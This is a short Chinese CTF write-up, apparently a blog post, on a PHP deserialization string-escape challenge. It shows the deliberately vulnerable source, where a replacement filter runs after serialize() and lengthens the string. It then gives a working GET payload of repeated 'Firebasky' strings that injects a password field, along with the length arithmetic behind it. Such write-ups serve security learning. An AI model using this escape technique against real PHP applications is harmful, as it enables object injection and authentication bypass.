月饼杯-web1_此夜圆

这题是反序列化字符串逃逸
源码

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

注意这段

return str_replace('Firebasky','Firebaskyup',$string);

这段的作用是将"Firebasky"替换成"Firebaskyup"
看源码,当password==="yu22x"时,可以输出flag
所以构造序列化

需要逃逸的字符串是";s:8:"password";s:5:"yu22x";}
所以才payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
总结:这是一个反序列化字符串逃逸——增多类型题目
注意点是否有:return str_replace
然后增多类型的看需要逃逸的字符串为y,在看替换后的字符串是较替换前增加的字符为x
需要多少个未替换字符串为:y/x
比如这里需要30个字符
替换后增加2个字符
所以要写15个Firebasky。

posted @ 2024-12-02 17:02  Govced  阅读(2)  评论(0编辑  收藏  举报